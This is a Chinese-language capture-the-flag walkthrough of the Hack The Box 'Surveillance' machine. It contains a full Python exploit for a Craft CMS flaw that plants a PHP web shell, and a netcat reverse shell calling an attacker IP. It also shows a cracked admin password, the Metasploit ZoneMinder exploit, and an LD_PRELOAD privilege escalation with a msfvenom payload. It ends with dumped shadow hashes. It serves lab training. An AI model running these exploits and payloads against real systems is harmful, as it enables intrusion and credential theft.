基本信息
端口扫描 22和80:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 $ nmap -sC -sV 10.10.11.245 Starting Nmap 7.94 ( https://nmap.org ) at 2023-12-11 13:57 CST Nmap scan report for 10.10.11.245 Host is up (0.25s latency). Not shown: 998 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 96:07:1c:c6:77:3e:07:a0:cc:6f:24:19:74:4d:57:0b (ECDSA) |_ 256 0b:a4:c0:cf:e2:3b:95:ae:f6:f5:df:7d:0c:88:d6:ce (ED25519) 80/tcp open http nginx 1.18.0 (Ubuntu) |_http-server-header: nginx/1.18.0 (Ubuntu) |_http-title: Did not follow redirect to http://surveillance.htb/ Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 113.47 seconds
80 需要加hosts:
1 10.10.11.245 surveillance.htb
一个家庭安防相关的,页面信息可以知道使用Craft CMS 4.4.14:
1 Powered by <a href ="https://github.com/craftcms/cms/tree/4.4.14" /> Craft CMS</a >
Craft CMS 搜索可以发现相关漏洞:
exp有点小问题,无回显,代理流量到burp中根据请求响应稍微修改下代码即可:
1 2 3 4 5 6 7 第71行 from no value to <i>no value</i> python3 exp.py http://surveillance.htb/ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.16.2 4444 >/tmp/f python3 -c 'import pty;pty.spawn("/bin/bash")'
得到www-data shell,加载个reverse shell方便后续操作:
backups 然后常规枚举,发现一个sql备份,其中得到matthew hash:
1 2 3 4 5 6 7 8 9 www-data@surveillance:~/html/craft/storage/backups$ ls ls surveillance--2023-10-17-202801--v4.4.14.sql.zip cp surveillance--2023-10-17-202801--v4.4.14.sql.zip /tmp cd /tmp unzip surveillance--2023-10-17-202801--v4.4.14.sql.zip cat surveillance--2023-10-17-202801--v4.4.14.sql INSERT INTO `users` VALUES (1,NULL,1,0,0,0,1,'admin','Matthew B','Matthew','B','admin@surveillance.htb','39ed84b22ddc63ab3725a1820aaa7f73a8f3f10d0848123562c9f35c675770ec','2023-10-17 20:22:34',NULL,NULL,NULL,'2023-10-11 18:58:57',NULL,1,NULL,NULL,NULL,0,'2023-10-17 20:27:46','2023-10-11 17:57:16','2023-10-17 20:27:46');
得到的hash可以直接扔在线得到对应明文,例如cmd5:
1 2 39ed84b22ddc63ab3725a1820aaa7f73a8f3f10d0848123562c9f35c675770ec starcraft122490
exp.py 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 import requestsimport reimport sysheaders = { "User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.88 Safari/537.36" } def writePayloadToTempFile (documentRoot) : data = { "action" : "conditions/render" , "configObject[class]" : "craft\elements\conditions\ElementCondition" , "config" : '{"name":"configObject","as ":{"class":"Imagick", "__construct()":{"files":"msl:/etc/passwd"}}}' } files = { "image1" : ("pwn1.msl" , """<?xml version="1.0" encoding="UTF-8"?> <image> <read filename="caption:<?php @system(@$_REQUEST['cmd']); ?>"/> <write filename="info:DOCUMENTROOT/shell.php"> </image>""" .replace("DOCUMENTROOT" , documentRoot), "text/plain" ) } response = requests.post(url, headers=headers, data=data, files=files, proxies={"http" : "http://localhost:8080" }) def getTmpUploadDirAndDocumentRoot () : data = { "action" : "conditions/render" , "configObject[class]" : "craft\elements\conditions\ElementCondition" , "config" : r'{"name":"configObject","as ":{"class":"\\GuzzleHttp\\Psr7\\FnStream", "__construct()":{"methods":{"close":"phpinfo"}}}}' } response = requests.post(url, headers=headers, data=data) pattern1 = r'<tr><td class="e">upload_tmp_dir<\/td><td class="v">(.*?)<\/td><td class="v">(.*?)<\/td><\/tr>' pattern2 = r'<tr><td class="e">\$_SERVER\[\'DOCUMENT_ROOT\'\]<\/td><td class="v">([^<]+)<\/td><\/tr>' match1 = re.search(pattern1, response.text, re.DOTALL) match2 = re.search(pattern2, response.text, re.DOTALL) return match1.group(1 ), match2.group(1 ) def trigerImagick (tmpDir) : data = { "action" : "conditions/render" , "configObject[class]" : "craft\elements\conditions\ElementCondition" , "config" : '{"name":"configObject","as ":{"class":"Imagick", "__construct()":{"files":"vid:msl:' + tmpDir + r'/php*"}}}' } response = requests.post(url, headers=headers, data=data, proxies={"http" : "http://127.0.0.1:8080" }) def shell (cmd) : response = requests.get(url + "/shell.php" , params={"cmd" : cmd}) match = re.search(r'caption:(.*?)CAPTION' , response.text, re.DOTALL) if match: extracted_text = match.group(1 ).strip() print(extracted_text) else : return None return extracted_text if __name__ == "__main__" : if (len(sys.argv) != 2 ): print("Usage: python CVE-2023-41892.py <url>" ) exit() else : url = sys.argv[1 ] print("[-] Get temporary folder and document root ..." ) upload_tmp_dir, documentRoot = getTmpUploadDirAndDocumentRoot() tmpDir = "/tmp" if upload_tmp_dir == "<i>no value</i>" else upload_tmp_dir print("[-] Write payload to temporary file ..." ) try : writePayloadToTempFile(documentRoot) except requests.exceptions.ConnectionError as e: print("[-] Crash the php process and write temp file successfully" ) print("[-] Trigger imagick to write shell ..." ) try : trigerImagick(tmpDir) except : pass print("[-] Done, enjoy the shell" ) while True : cmd = input("$ " ) shell(cmd)
user flag matthew也是系统中用户,直接ssh使用这个密码登录:
1 2 ssh matthew@10.10.11.245 starcraft122490
zoneminder 查看端口可以发现本地的8080,转发出来查看,是一个ZoneMinder:
1 2 3 4 5 6 matthew@surveillance:~$ ss -tunlp ... tcp LISTEN 0 511 127.0.0.1:8080 0.0.0.0:* ... ssh -L 8888:127.0.0.1:8080 matthew@10.10.11.245
这个也可以搜到一个很新的漏洞:
msf一键,打到zoneminder:
1 2 3 4 5 exploit/unix/webapp/zoneminder_snapshots set rhosts 127.0.0.1 set rport 8888 set lhost 10.10.16.2 set TARGETURI /
写公钥方便后续操作
提权信息 zoneminder用户sudo运行zm相关脚本:
检查这些脚本,可以发现例如zmdc会使用config中的ZM_LD_PRELOAD作为运行时的LD_PRELOAD,这是在数据库中定义的:
1 2 3 4 5 zoneminder@surveillance:~$ cat /usr/bin/zmdc.pl if ( $Config{ZM_LD_PRELOAD} ) { Debug("Adding ENV{LD_PRELOAD} = $Config{ZM_LD_PRELOAD}"); $ ENV{LD_PRELOAD} = $Config {ZM_LD_PRELOAD};
另外可以在配置文件中找到数据库账号密码:
1 2 3 4 5 6 7 cat /etc/nginx/sites-enabled/zoneminder.conf cd /usr/share/zoneminder/www cat api/app/Config/database.php 'login' => 'zmuser', 'password' => 'ZoneMinderPassword2023', 'database' => 'zm',
验证数据库信息:
1 2 3 4 5 6 7 mysql -u zmuser -pZoneMinderPassword2023 MariaDB [(none)]> show databases; MariaDB [(none)]> use zm; MariaDB [zm]> show tables; MariaDB [zm]> desc Config; # 空值 MariaDB [zm]> select name,value from Config where name='ZM_LD_PRELOAD';
提权 & root flag 那么我们可以生成一个so,然后修改这个配置:
1 2 3 4 5 6 7 msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.16.2 LPORT=4444 -f elf-so -o miao.so chmod +x /tmp/miao.so # 修改数据 MariaDB [zm]> update Config SET value = '/tmp/miao.so' where name = 'ZM_LD_PRELOAD'; # 验证修改成功 MariaDB [zm]> select name,value from Config where name='ZM_LD_PRELOAD';
然后去执行zmdc,触发加载执行so文件,得到root shell:
1 2 3 sudo /usr/bin/zmdc.pl startup # 如果是已启动状态,先停止 sudo /usr/bin/zmdc.pl shutdown
shadow 1 2 3 root:$y$j9T$bVNsNlTFFqsWiO2JYT0ZH/$ZzxFCnolnSpcSfQxaWNtq3BDIRPIVU9X.dm/ACzRAl9:19651:0:99999:7::: matthew:$y$j9T$oipsGfEBv1fcFV1uQ6Bl4.$44F4J5xtr2V4oN.zY0OB.8r3p1TllAlaMivft5R8o18:19647:0:99999:7::: zoneminder:$y$j9T$.wNHpksMBEdFIQZZJTsDp/$r43uCJLrmfIgv4ZnMiyhMqykrru7aoPIuunhUrTTxp/:19647:0:99999:7:::
参考资料
Last updated: 2024-04-22 10:06:31
水平不济整日被虐这也不会那也得学,脑子太蠢天天垫底这看不懂那学不会